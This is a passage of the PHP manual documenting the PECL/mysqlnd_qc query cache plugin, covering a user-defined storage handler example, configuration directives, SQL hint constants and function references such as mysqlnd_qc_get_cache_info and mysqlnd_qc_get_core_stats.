    ["max_store_time"]=>
    int(0)
  }
  [3]=>
  array(9) {
    ["query"]=>
    string(31) "SELECT id FROM test WHERE id =?"
    ["occurences"]=>
    int(4)
    ["eligible_for_caching"]=>
    bool(true)
    ["avg_run_time"]=>
    int(179)
    ["min_run_time"]=>
    int(11)
    ["max_run_time"]=>
    int(393)
    ["avg_store_time"]=>
    int(12)
    ["min_store_time"]=>
    int(7)
    ["max_store_time"]=>
    int(25)
  }
}

The source distribution of PECL/mysqlnd_qc contains a directory web/ in which web based monitoring scripts can be found which give an example how to write a cache monitor. Please, follow the instructions given in the source.

Since PECL/mysqlnd_qc 1.1.0 it is possible to write statistics into a log file. Please, see mysqlnd_qc.collect_statistics_log_file.

User Contributed Notes

There are no user contributed notes for this page.


Beyond TTL: user-defined storage

The query cache plugin supports the use of user-defined storage handler. User-defined storage handler can use arbitrarily complex invalidation algorithms and support arbitrary storage media.

All user-defined storage handlers have to provide a certain interface. The functions of the user-defined storage handler will be called by the core of the cache plugin. The necessary interface consists of seven public functions. Both procedural and object oriented user-defined storage handler must implement the same set of functions.

Example #1 Using a user-defined storage handler

<?php
/* Enable default caching of all statements */
ini_set("mysqlnd_qc.cache_by_default", 1);

/* Procedural user defined storage handler functions */

$__cache = array();

function get_hash($host_info, $port, $user, $db, $query) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    return md5(sprintf("%s%s%s%s%s", $host_info, $port, $user, $db, $query));
}

function find_query_in_cache($key) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    if (isset($__cache[$key])) {
        $tmp = $__cache[$key];
        if ($tmp["valid_until"] < time()) {
            unset($__cache[$key]);
            $ret = NULL;
        } else {
            $ret = $__cache[$key]["data"];
        }
    } else {
        $ret = NULL;
    }

    return $ret;
}

function return_to_cache($key) {
    /*
     Called on cache hit after cached data has been processed,
     may be used for reference counting
    */
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());
}

function add_query_to_cache_if_not_exists($key, $data, $ttl, $run_time, $store_time, $row_count) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    $__cache[$key] = array(
        "data"               => $data,
        "row_count"          => $row_count,
        "valid_until"        => time() + $ttl,
        "hits"               => 0,
        "run_time"           => $run_time,
        "store_time"         => $store_time,
        "cached_run_times"   => array(),
        "cached_store_times" => array(),
    );

    return TRUE;
}

function query_is_select($query) {
    printf("\t%s('%s'): ", __FUNCTION__, $query);

    $ret = FALSE;
    if (stristr($query, "SELECT") !== FALSE) {
        /* cache for 5 seconds */
        $ret = 5;
    }

    printf("%s\n", (FALSE === $ret) ? "FALSE" : $ret);
    return $ret;
}

function update_query_run_time_stats($key, $run_time, $store_time) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    if (isset($__cache[$key])) {
        $__cache[$key]['hits']++;
        $__cache[$key]["cached_run_times"][] = $run_time;
        $__cache[$key]["cached_store_times"][] = $store_time;
    }
}

function get_stats($key = NULL) {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    if ($key && isset($__cache[$key])) {
        $stats = $__cache[$key];
    } else {
        $stats = array();
        foreach ($__cache as $key => $details) {
            $stats[$key] = array(
               'hits'              => $details['hits'],
               'bytes'             => strlen($details['data']),
               'uncached_run_time' => $details['run_time'],
               'cached_run_time'   => (count($details['cached_run_times']))
                                      ? array_sum($details['cached_run_times']) / count($details['cached_run_times'])
                                      : 0,
            );
        }
    }

    return $stats;
}

function clear_cache() {
    global $__cache;
    printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

    $__cache = array();
    return TRUE;
}

/* Install procedural user-defined storage handler */
if (!mysqlnd_qc_set_user_handlers("get_hash", "find_query_in_cache",
    "return_to_cache", "add_query_to_cache_if_not_exists",
    "query_is_select", "update_query_run_time_stats", "get_stats", "clear_cache")) {

        printf("Failed to install user-defined storage handler\n");
}

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

printf("\nCache put/cache miss\n");

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* Delete record to verify we get our data from the cache */
$mysqli->query("DELETE FROM test WHERE id = 1");

printf("\nCache hit\n");

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

printf("\nDisplay cache statistics\n");
var_dump(mysqlnd_qc_get_cache_info());

printf("\nFlushing cache, cache put/cache miss");
var_dump(mysqlnd_qc_clear_cache());

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
?>

The above examples will output something similar to:

        query_is_select('DROP TABLE IF EXISTS test'): FALSE
        query_is_select('CREATE TABLE test(id INT)'): FALSE
        query_is_select('INSERT INTO test(id) VALUES (1), (2)'): FALSE

Cache put/cache miss
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        add_query_to_cache_if_not_exists(6)
array(1) {
  ["id"]=>
  string(1) "1"
}
        query_is_select('DELETE FROM test WHERE id = 1'): FALSE

Cache hit
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        return_to_cache(1)
        update_query_run_time_stats(3)
array(1) {
  ["id"]=>
  string(1) "1"
}

Display cache statistics
        get_stats(0)
array(4) {
  ["num_entries"]=>
  int(1)
  ["handler"]=>
  string(4) "user"
  ["handler_version"]=>
  string(5) "1.0.0"
  ["data"]=>
  array(1) {
    ["18683c177dc89bb352b29965d112fdaa"]=>
    array(4) {
      ["hits"]=>
      int(1)
      ["bytes"]=>
      int(71)
      ["uncached_run_time"]=>
      int(398)
      ["cached_run_time"]=>
      int(4)
    }
  }
}

Flushing cache, cache put/cache miss    clear_cache(0)
bool(true)
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        add_query_to_cache_if_not_exists(6)
NULL

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP 5.3.3 or a newer version of PHP.

PECL/mysqlnd_qc is a mysqlnd plugin. It plugs into the mysqlnd library. To use you this plugin with a PHP MySQL extension, the extension (mysqli, mysql, or PDO_MYSQL) must enable the mysqlnd library.

For using the APC storage handler with PECL/mysqlnd_qc 1.0 APC 3.1.3p1-beta or newer. PECL/mysqlnd_qc 1.2 has been tested with APC 3.1.13-beta. The APC storage handler cannot be used with a shared build. You cannot use the PHP configuration directive extension to load the APC and PECL/mysqlnd_qc extensions if PECL/mysqlnd_qc will use APC as a storage handler. For using the APC storage handler, you have to statically compile PHP with APC and PECL/mysqlnd_qc support into PHP.

For using MEMCACHE storage handler: Use libmemcache 0.38 or newer. PECL/mysqlnd_qc 1.2 has been tested with libmemcache 1.4.0.

For using sqlite storage handler: Use the sqlite3 extension that bundled with PHP.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd_qc

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

mysqlnd_qc Configure Options
Name | Default | Changeable | Changelog
mysqlnd_qc.enable_qc | 1 | PHP_INI_SYSTEM |
mysqlnd_qc.ttl | 30 | PHP_INI_ALL |
mysqlnd_qc.cache_by_default | 0 | PHP_INI_ALL |
mysqlnd_qc.cache_no_table | 0 | PHP_INI_ALL |
mysqlnd_qc.use_request_time | 0 | PHP_INI_ALL |
mysqlnd_qc.time_statistics | 1 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics | 0 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics_log_file | /tmp/mysqlnd_qc.stats | PHP_INI_SYSTEM |
mysqlnd_qc.collect_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.query_trace_bt_depth | 3 | PHP_INI_SYSTEM |
mysqlnd_qc.collect_normalized_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.ignore_sql_comments | 1 | PHP_INI_ALL |
mysqlnd_qc.slam_defense | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.slam_defense_ttl | 30 | PHP_INI_SYSTEM |
mysqlnd_qc.std_data_copy | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.apc_prefix | qc_ | PHP_INI_ALL |
mysqlnd_qc.memc_server | 127.0.0.1 | PHP_INI_ALL |
mysqlnd_qc.memc_port | 11211 | PHP_INI_ALL |
mysqlnd_qc.sqlite_data_file | :memory: | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

mysqlnd_qc.enable_qc integer

Enables or disables the plugin. If disabled the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

mysqlnd_qc.ttl integer

Default Time-to-Live (TTL) for cache entries in seconds.

mysqlnd_qc.cache_by_default integer

Cache all queries regardless if they begin with the SQL hint that enables caching of a query or not. Storage handler cannot overrule the setting. It is evaluated by the core of the plugin.

mysqlnd_qc.cache_no_table integer

Whether to cache queries with no table name in any of columns meta data of their result set, for example, SELECT SLEEP(1), SELECT NOW(), SELECT SUBSTRING().

mysqlnd_qc.use_request_time integer

Use PHP global request time to avoid gettimeofday() system calls? If using APC storage handler it should be set to the value of apc.use_request_time , if not warnings will be generated.

mysqlnd_qc.time_statistics integer

Collect run time and store time statistics using gettimeofday() system call? Data will be collected only if you also set mysqlnd_qc.collect_statistics = 1,

mysqlnd_qc.collect_statistics integer

Collect statistics for mysqlnd_qc_get_core_stats()? Does not influence storage handler statistics! Handler statistics can be an integral part of the handler internal storage format. Therefore, collection of some handler statistics cannot be disabled.

mysqlnd_qc.collect_statistics-log-file integer

If mysqlnd_qc.collect_statistics and mysqlnd_qc.collect_statistics_log_file are set, the plugin will dump statistics into the specified log file at every 10th web request during PHP request shutdown. The log file needs to be writable by the web server user.

Since 1.1.0.

mysqlnd_qc.collect_query_trace integer

Collect query back traces?

mysqlnd_qc.query_trace_bt_depth integer

Maximum depth/level of a query code backtrace.

mysqlnd_qc.ignore_sql_comments integer

Whether to remove SQL comments from a query string before hashing it to generate a cache key. Disable if you do not want two statemts such as SELECT /*my_source_ip=123*/ id FROM test and SELECT /*my_source_ip=456*/ id FROM test to refer to the same cache entry.

Since 1.1.0.

mysqlnd_qc.slam_defense integer

Activates handler based slam defense (cache stampeding protection) if available. Supported by Default and APC storage handler

mysqlnd_qc.slam_defense_ttl integer

TTL for stale cache entries which are served while another client updates the entries. Supported by APC storage handler.

mysqlnd_qc.collect_normalized_query_trace integer

Collect aggregated normalized query traces? The setting has no effect by default. You compile the extension using the define NORM_QUERY_TRACE_LOG to make use of the setting.

mysqlnd_qc.std_data_copy integer

Default storage handler: copy cached wire data? EXPERIMENTAL – use default setting!

mysqlnd_qc.apc_prefix string

The APC storage handler stores data in the APC user cache. The setting sets a prefix to be used for cache entries.

mysqlnd_qc.memc_server string

MEMCACHE storage handler: memcache server host.

mysqlnd_qc.memc_port integer

MEMCACHE storage handler: memcached server port.

mysqlnd_qc.sqlite_data_file string

sqlite storage handler: data file. Any setting but :memory: may be of little practical value.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQL hint related

Example #1 Using SQL hint constants

The query cache is controlled by SQL hints. SQL hints are used to enable and disable caching. SQL hints can be used to set the TTL of a query.

The SQL hints recognized by the query cache can be manually changed at compile time. This makes it possible to use mysqlnd_qc in environments in which the default SQL hints are already taken and interpreted by other systems. Therefore it is recommended to use the SQL hint string constants instead of manually adding the default SQL hints to the query string.

<?php
/* Use constants for maximum portability */
$query = "/*" . MYSQLND_QC_ENABLE_SWITCH . "*/SELECT id FROM test";

/* Valid but less portable: default TTL */
$query = "/*qc=on*/SELECT id FROM test";

/* Valid but less portable: per statement TTL */
$query = "/*qc=on*//*qc_ttl=5*/SELECT id FROM test";

printf("MYSQLND_QC_ENABLE_SWITCH: %s\n", MYSQLND_QC_ENABLE_SWITCH);
printf("MYSQLND_QC_DISABLE_SWITCH: %s\n", MYSQLND_QC_DISABLE_SWITCH);
printf("MYSQLND_QC_TTL_SWITCH: %s\n", MYSQLND_QC_TTL_SWITCH);
?>

The above examples will output:

MYSQLND_QC_ENABLE_SWITCH: qc=on
MYSQLND_QC_DISABLE_SWITCH: qc=off
MYSQLND_QC_TTL_SWITCH: qc_ttl=

MYSQLND_QC_ENABLE_SWITCH (string)
SQL hint used to enable caching of a query.
MYSQLND_QC_DISABLE_SWITCH (string)
SQL hint used to disable caching of a query if mysqlnd_qc.cache_by_default = 1.
MYSQLND_QC_TTL_SWITCH (string)
SQL hint used to set the TTL of a result set.
MYSQLND_QC_SERVER_ID_SWITCH (string)
This SQL hint should not be used in general. It is needed by PECL/mysqlnd_ms to group cache entries for one statement but originating from different physical connections. If the hint is used connection settings such as user, hostname and charset are not considered for generating a cache key of a query. Instead the given value and the query string are used as input to the hashing function that generates the key. PECL/mysqlnd_ms may, if instructed, cache results from MySQL Replication slaves. Because it can hold many connections to the slave the cache key shall not be formed from the user, hostname or other settings that may vary for the various slave connections. Instead, PECL/mysqlnd_ms provides an identifier which refers to the group of slave connections that shall be enabled to share cache entries no matter which physical slave connection was to generate the cache entry. Use of this feature outside of PECL/mysqlnd_ms is not recommended.

mysqlnd_qc_set_cache_condition() related

Example #2 Example mysqlnd_qc_set_cache_condition() usage

The function mysqlnd_qc_set_cache_condition() allows setting conditions for automatic caching of statements which don't begin with the SQL hints necessary to manually enable caching.

<?php
/* Cache all accesses to tables with the name "new%" in schema/database "db_example" for 1 second */
if (!mysqlnd_qc_set_cache_condition(MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN, "db_example.new%", 1)) {
  die("Failed to set cache condition!");
}

$mysqli = new mysqli("host", "user", "password", "db_example", "port");
/* cached although no SQL hint given  */
$mysqli->query("SELECT id, title FROM news");

$pdo_mysql = new PDO("mysql:host=host;dbname=db_example;port=port", "user", "password");
/* not cached: no SQL hint, no pattern match */
$pdo_mysql->query("SELECT id, title FROM latest_news");
/* cached: TTL 1 second, pattern match */
$pdo_mysql->query("SELECT id, title FROM news");
?>

MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN (int)
Used as a parameter of mysqlnd_qc_set_cache_condition() to set conditions for schema based automatic caching.

Other

The plugin version number can be obtained using either MYSQLND_QC_VERSION, which is the string representation of the numerical version number, or MYSQLND_QC_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_QC_VERSION_ID | 10000

MYSQLND_QC_VERSION (string)
Plugin version string, for example, "1.0.0-prototype".

MYSQLND_QC_VERSION_ID (int)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


mysqlnd_qc Functions

Table of Contents

  • mysqlnd_qc_clear_cache — Flush all cache contents
  • mysqlnd_qc_get_available_handlers — Returns a list of available storage handler
  • mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available
  • mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache
  • mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache
  • mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache
  • mysqlnd_qc_set_cache_condition — Set conditions for automatic caching
  • mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached
  • mysqlnd_qc_set_storage_handler — Change current storage handler
  • mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler

User Contributed Notes

There are no user contributed notes for this page.


Flush all cache contents

  • « mysqlnd_qc Functions
  • mysqlnd_qc_get_available_handlers »
  • PHP Manual
  • mysqlnd_qc Functions
  • Flush all cache contents

mysqlnd_qc_clear_cache

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_clear_cache — Flush all cache contents

Description

bool mysqlnd_qc_clear_cache ( void )

Flush all cache contents.

Flushing the cache is a storage handler responsibility. All built-in storage handler but the memcache storage handler support flushing the cache. The memcache storage handler cannot flush its cache contents.

User-defined storage handler may or may not support the operation.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

A return value of FALSE indicates that flushing all cache contents has failed or the operation is not supported by the active storage handler. Applications must not expect that calling the function will always flush the cache.

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of available storage handler

  • « mysqlnd_qc_clear_cache
  • mysqlnd_qc_get_cache_info »
  • PHP Manual
  • mysqlnd_qc Functions
  • Returns a list of available storage handler

mysqlnd_qc_get_available_handlers

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_available_handlers — Returns a list of available storage handler

Description

array mysqlnd_qc_get_available_handlers ( void )

Which storage are available depends on the compile time configuration of the query cache plugin. The default storage handler is always available. All other storage handler must be enabled explicitly when building the extension.

Parameters

This function has no parameters.

Return Values

Returns an array of available built-in storage handler. For each storage handler the version number and version string is given.

Examples

Example #1 mysqlnd_qc_get_available_handlers() example

<?php
var_dump(mysqlnd_qc_get_available_handlers());
?>

The above examples will output:

array(5) {
  ["default"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["user"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["APC"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["MEMCACHE"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["sqlite"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
}

See Also

  • Installation
  • mysqlnd_qc_set_storage_handler() - Change current storage handler

User Contributed Notes

There are no user contributed notes for this page.


Returns information on the current handler, the number of cache entries and cache entries, if available

  • « mysqlnd_qc_get_available_handlers
  • mysqlnd_qc_get_core_stats »
  • PHP Manual
  • mysqlnd_qc Functions
  • Returns information on the current handler, the number of cache entries and cache entries, if available

mysqlnd_qc_get_cache_info

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available

Description

array mysqlnd_qc_get_cache_info ( void )

Parameters

This function has no parameters.

Return Values

Returns information on the current handler, the number of cache entries and cache entries, if available. If and what data will be returned for the cache entries is subject to the active storage handler. Storage handler are free to return any data. Storage handler are recommended to return at least the data provided by the default handler, if technically possible.

The scope of the information is the PHP process. Depending on the PHP deployment model a process may serve one or more web requests.

Values are aggregated for all cache activities on a per storage handler basis. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql.API calls have contributed to the aggregated data values. Use mysqlnd_qc_get_core_stats() to get timing data aggregated for all storage handlers.

Array of cache information

handler string

The active storage handler.

All storage handler. Since 1.0.0.

handler_version string

The version of the active storage handler.

All storage handler. Since 1.0.0.

num_entries int

The number of cache entries. The value depends on the storage handler in use.

The default, APC and SQLite storage handler provide the actual number of cache entries.

The MEMCACHE storage handler always returns 0. MEMCACHE does not support counting the number of cache entries.

If a user defined handler is used, the number of entries of the data property is reported.

Since 1.0.0.

data array

The version of the active storage handler.

Additional storage handler dependent data on the cache entries. Storage handler are requested to provide similar and comparable information. A user defined storage handler is free to return any data.

Since 1.0.0.

The following information is provided by the default storage handler for the data property.

The data property holds a hash. The hash is indexed by the internal cache entry identifier of the storage handler. The cache entry identifier is human-readable and contains the query string leading to the cache entry. Please, see also the example below. The following data is given for every cache entry.

statistics array

Statistics of the cache entry.

Since 1.0.0.

Property | Description | Version
rows | Number of rows of the cached result set. | Since 1.0.0.
stored_size | The size of the cached result set in bytes. This is the size of the payload. The value is not suited for calculating the total memory consumption of all cache entries including the administrative overhead of the cache entries. | Since 1.0.0.
cache_hits | How often the cached entry has been returned. | Since 1.0.0.
run_time | Run time of the statement to which the cache entry belongs. This is the run time of the uncached statement. It is the time between sending the statement to MySQL receiving a reply from MySQL. Run time saved by using the query cache plugin can be calculated like this: cache_hits * ((run_time - avg_run_time) + (store_time - avg_store_time)). | Since 1.0.0.
store_time | Store time of the statements result set to which the cache entry belongs. This is the time it took to fetch and store the results of the uncached statement. | Since 1.0.0.
min_run_time | Minimum run time of the cached statement. How long it took to find the statement in the cache. | Since 1.0.0.
min_store_time | Minimum store time of the cached statement. The time taken for fetching the cached result set from the storage medium and decoding | Since 1.0.0.
avg_run_time | Average run time of the cached statement. | Since 1.0.0.
avg_store_time | Average store time of the cached statement. | Since 1.0.0.
max_run_time | Average run time of the cached statement. | Since 1.0.0.
max_store_time | Average store time of the cached statement. | Since 1.0.0.
valid_until | Timestamp when the cache entry expires. | Since 1.1.0.
metadata array

Metadata of the cache entry. This is the metadata provided by MySQL together with the result set of the statement in question. Different versions of the MySQL server may return different metadata. Unlike with some of the PHP MySQL extensions no attempt is made to hide MySQL server version dependencies and version details from the caller. Please, refer to the MySQL C API documentation that belongs to the MySQL server in use for further details.

The metadata list contains one entry for every column.

Since 1.0.0.

Property | Description | Version
name | The field name. Depending on the MySQL version this may be the fields alias name. | Since 1.0.0.
org_name | The field name. | Since 1.0.0.
table | The table name. If an alias name was used for the table, this usually holds the alias name. | Since 1.0.0.
org_table | The table name. | Since 1.0.0.
db | The database/schema name. | Since 1.0.0.
max_length | The maximum width of the field. Details may vary by MySQL server version. | Since 1.0.0.
length | The width of the field. Details may vary by MySQL server version. | Since 1.0.0.
type | The data type of the field. Details may vary by the MySQL server in use. This is the MySQL C API type constants value. It is recommended to use type constants provided by the mysqli extension to test for its meaning. You should not test for certain type values by comparing with certain numbers. | Since 1.0.0.

The APC storage handler returns the same information for the data property but no metadata. The metadata of a cache entry is set to NULL.

The MEMCACHE storage handler does not fill the data property. Statistics are not available on a per cache entry basis with the MEMCACHE storage handler.

A user defined storage handler is free to provide any data.

Examples

Example #1 mysqlnd_qc_get_cache_info() example

The example shows the output from the built-in default storage handler. Other storage handler may report different data.

<?php
/* Populate the cache, e.g. using mysqli */
$mysqli = new mysqli("host", "user", "password", "schema");
$mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/SELECT id FROM test");

/* Display cache information */
var_dump(mysqlnd_qc_get_cache_info());
?>

The above examples will output:

array(4) {
 ["num_entries"]=>
 int(1)
 ["handler"]=>
 string(7) "default"
 ["handler_version"]=>
 string(5) "1.0.0"
 ["data"]=>
 array(1) {
   ["Localhost via UNIX socket 3306 user schema|/*qc=on*/SELECT id FROM test"]=>
   array(2) {
     ["statistics"]=>
     array(11) {
       ["rows"]=>
       int(6)
       ["stored_size"]=>
       int(101)
       ["cache_hits"]=>
       int(0)
       ["run_time"]=>
       int(471)
       ["store_time"]=>
       int(27)
       ["min_run_time"]=>
       int(0)
       ["max_run_time"]=>
       int(0)
       ["min_store_time"]=>
       int(0)
       ["max_store_time"]=>
       int(0)
       ["avg_run_time"]=>
       int(0)
       ["avg_store_time"]=>
       int(0)
     }
     ["metadata"]=>
     array(1) {
       [0]=>
       array(8) {
         ["name"]=>
         string(2) "id"
         ["orig_name"]=>
         string(2) "id"
         ["table"]=>
         string(4) "test"
         ["orig_table"]=>
         string(4) "test"
         ["db"]=>
         string(4) "schema"
         ["max_length"]=>
         int(1)
         ["length"]=>
         int(11)
         ["type"]=>
         int(3)
       }
     }
   }
 }
}

See Also

  • mysqlnd_qc_get_core_stats() - Statistics collected by the core of the query cache

User Contributed Notes

There are no user contributed notes for this page.


Statistics collected by the core of the query cache

  • « mysqlnd_qc_get_cache_info
  • mysqlnd_qc_get_normalized_query_trace_log »
  • PHP Manual
  • mysqlnd_qc Functions
  • Statistics collected by the core of the query cache

mysqlnd_qc_get_core_stats

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache

Description

array mysqlnd_qc_get_core_stats ( void )

Returns an array of statistics collected by the core of the cache plugin. The same data fields will be reported for any storage handler because the data is collected by the core.

The PHP configuration setting mysqlnd_qc.collect_statistics controls the collection of statistics. The collection of statistics is disabled by default for performance reasons. Disabling the collection of statistics will also disable the collection of time related statistics.

The PHP configuration setting mysqlnd_qc.collect_time_statistics controls the collection of time related statistics.

The scope of the core statistics is the PHP process. Depending on your deployment model a PHP process may handle one or multiple requests.

Statistics are aggregated for all cache entries and all storage handler. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql API calls have contributed to the aggregated data values.

Parameters

This function has no parameters.

Return Values

Array of core statistics

Statistic | Description | Version
cache_hit | Statement is considered cacheable and cached data has been reused. Statement is considered cacheable and a cache miss happened but the statement got cached by someone else while we process it and thus we can fetch the result from the refreshed cache. | Since 1.0.0.
cache_miss Statement is considered cacheable...

  • ... and has been added to the cache

  • ... but the PHP configuration directive setting of mysqlnd_qc.cache_no_table = 1 has prevented caching.

  • ... but an unbuffered result set is requested.

  • ... but a buffered result set was empty.

Since 1.0.0.
cache_put | Statement is considered cacheable and has been added to the cache. Take care when calculating derived statistics. Storage handler with a storage life time beyond process scope may report cache_put = 0 together with cache_hit > 0, if another process has filled the cache. You may want to use num_entries from mysqlnd_qc_get_cache_info() if the handler supports it ( default, APC). | Since 1.0.0.
query_should_cache | Statement is considered cacheable based on query string analysis. The statement may or may not be added to the cache. See also cache_put. | Since 1.0.0.
query_should_not_cache | Statement is considered not cacheable based on query string analysis. | Since 1.0.0.
query_not_cached | Statement is considered not cacheable or it is considered cachable but the storage handler has not returned a hash key for it. | Since 1.0.0.
query_could_cache Statement is considered cacheable...

  • ... and statement has been run without errors

  • ... and meta data shows at least one column in the result set

The statement may or may not be in the cache already. It may or may not be added to the cache later on. 		Since 1.0.0.
query_found_in_cache | Statement is considered cacheable and we have found it in the cache but we have not replayed the cached data yet and we have not send the result set to the client yet. This is not considered a cache hit because the client might not fetch the result or the cached data may be faulty. | Since 1.0.0.
query_uncached_other | Statement is considered cacheable and it may or may not be in the cache already but either replaying cached data has failed, no result set is available or some other error has happened.
query_uncached_no_table | Statement has not been cached because the result set has at least one column which has no table name in its meta data. An example of such a query is SELECT SLEEP(1). To cache those statements you have to change default value of the PHP configuration directive mysqlnd_qc.cache_no_table and set mysqlnd_qc.cache_no_table = 1. Often, it is not desired to cache such statements. | Since 1.0.0.
query_uncached_use_result | Statement would have been cached if a buffered result set had been used. The situation is also considered as a cache miss and cache_miss will be incremented as well. | Since 1.0.0.
query_aggr_run_time_cache_hit | Aggregated run time (ms) of all cached queries. Cached queries are those which have incremented cache_hit. | Since 1.0.0.
query_aggr_run_time_cache_put | Aggregated run time (ms) of all uncached queries that have been put into the cache. See also cache_put. | Since 1.0.0.
query_aggr_run_time_total | Aggregated run time (ms) of all uncached and cached queries that have been inspected and executed by the query cache. | Since 1.0.0.
query_aggr_store_time_cache_hit | Aggregated store time (ms) of all cached queries. Cached queries are those which have incremented cache_hit. | Since 1.0.0.
query_aggr_store_time_cache_put | Aggregated store time ( ms) of all uncached queries that have been put into the cache. See also cache_put. | Since 1.0.0.
query_aggr_store_time_total | Aggregated store time (ms) of all uncached and cached queries that have been inspected and executed by the query cache. | Since 1.0.0.
receive_bytes_recorded | Recorded incoming network traffic ( bytes) send from MySQL to PHP. The traffic may or may not have been added to the cache. The traffic is the total for all queries regardless if cached or not. | Since 1.0.0.
receive_bytes_replayed | Network traffic replayed during cache. This is the total amount of incoming traffic saved because of the usage of the query cache plugin. | Since 1.0.0.
send_bytes_recorded | Recorded outgoing network traffic ( bytes) send from MySQL to PHP. The traffic may or may not have been added to the cache. The traffic is the total for all queries regardless if cached or not. | Since 1.0.0.
send_bytes_replayed | Network traffic replayed during cache. This is the total amount of outgoing traffic saved because of the usage of the query cache plugin. | Since 1.0.0.
slam_stale_refresh | Number of cache misses which triggered serving stale data until the client causing the cache miss has refreshed the cache entry. | Since 1.0.0.
slam_stale_hit | Number of cache hits while a stale cache entry gets refreshed. | Since 1.0.0.

Examples

Example #1 mysqlnd_qc_get_core_stats() example

<?php
/* Enable collection of statistics - default: disabled */
ini_set("mysqlnd_qc.collect_statistics", 1);

/* Enable collection of all timing related statistics -
default: enabled but overruled by mysqlnd_qc.collect_statistics = 0 */
ini_set("mysqlnd_qc.collect_time_statistics", 1);

/* Populate the cache, e.g. using mysqli */
$mysqli = new mysqli('host', 'user', 'password', 'schema');

/* Cache miss and cache put */
$mysqli->query("/*qc=on*/SELECT id FROM test");
/* Cache hit */
$mysqli->query("/*qc=on*/SELECT id FROM test");

/* Display core statistics */
var_dump(mysqlnd_qc_get_core_stats());
?>

The above examples will output:

array(26) {
  ["cache_hit"]=>
  string(1) "1"
  ["cache_miss"]=>
  string(1) "1"
  ["cache_put"]=>
  string(1) "1"
  ["query_should_cache"]=>
  string(1) "2"
  ["query_should_not_cache"]=>
  string(1) "0"
  ["query_not_cached"]=>
  string(1) "0"
  ["query_could_cache"]=>
  string(1) "2"
  ["query_found_in_cache"]=>
  string(1) "1"
  ["query_uncached_other"]=>
  string(1) "0"
  ["query_uncached_no_table"]=>
  string(1) "0"
  ["query_uncached_no_result"]=>
  string(1) "0"
  ["query_uncached_use_result"]=>
  string(1) "0"
  ["query_aggr_run_time_cache_hit"]=>
  string(1) "4"
  ["query_aggr_run_time_cache_put"]=>
  string(3) "395"
  ["query_aggr_run_time_total"]=>
  string(3) "399"
  ["query_aggr_store_time_cache_hit"]=>
  string(1) "2"
